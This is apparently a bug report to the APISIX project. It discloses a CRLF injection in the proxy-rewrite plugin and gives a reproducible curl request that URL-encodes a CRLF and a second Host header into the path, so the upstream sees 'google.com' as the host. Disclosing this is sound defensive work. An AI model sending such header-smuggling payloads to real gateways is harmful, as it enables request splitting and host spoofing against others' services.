bug: The proxy-rewrite plugin may cause CRLF injection vulnerabilities

[zuiyangqingzhou]

Current Behavior

0. Openresty as the upstream, the configuration file is as follows

pid logs/nginx.pid;
events {
    worker_connections 1024;
}

http {
    server {
        listen 8866;
        location / {
	    content_by_lua '
	    	ngx.say(ngx.var.host)
	    ';
        }
    }
}

2. Do not enable the proxy-rewrite plugin

curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i 

## output:

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Date: Fri, 17 Feb 2023 04:07:49 GMT
Server: Openresty

test-limit.com

3. Enable the proxy-rewrite plugin

## the proxy-rewrite plugin configuration file is as follows
proxy-rewrite: {
      "host": "test.xxxx.com"
},

curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i

## output
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Date: Fri, 17 Feb 2023 04:24:42 GMT
Server: Openresty

google.com

Expected Behavior

The host obtained by upstream should not be rewritten as google.com, which can lead to malicious attacks

Error Logs

none

Steps to Reproduce

0. Openresty as the upstream, the configuration file is as follows

pid logs/nginx.pid;
events {
    worker_connections 1024;
}

http {
    server {
        listen 8866;
        location / {
	    content_by_lua '
	    	ngx.say(ngx.var.host)
	    ';
        }
    }
}

2. Do not enable the proxy-rewrite plugin

curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i 

## output:

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Date: Fri, 17 Feb 2023 04:07:49 GMT
Server: Openresty

test-limit.com

3. Enable the proxy-rewrite plugin

## the proxy-rewrite plugin configuration file is as follows
proxy-rewrite: {
      "host": "test.xxxx.com"
},

curl "http://test-limit.com:9080/limit/aa%3f0z=700%20HTTP/1.1%0D%0AHost:google.com%0d%0a%0d%0a" -i

## output
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Date: Fri, 17 Feb 2023 04:24:42 GMT
Server: Openresty

google.com

Environment

• APISIX version (run apisix version): 2.10.5
• Operating system (run uname -a): amzn2.x86_64
• OpenResty / Nginx version (run openresty -V or nginx -V): nginx version: openresty/1.19.9.1
• etcd version, if relevant (run curl http://127.0.0.1:9090/v1/server_info): 3.5
• APISIX Dashboard version, if relevant:
• Plugin runner version, for issues related to plugin runners:
• LuaRocks version, for installation issues (run luarocks --version):

[spacewander]

Thanks for your report! I can reproduce it with the latest version.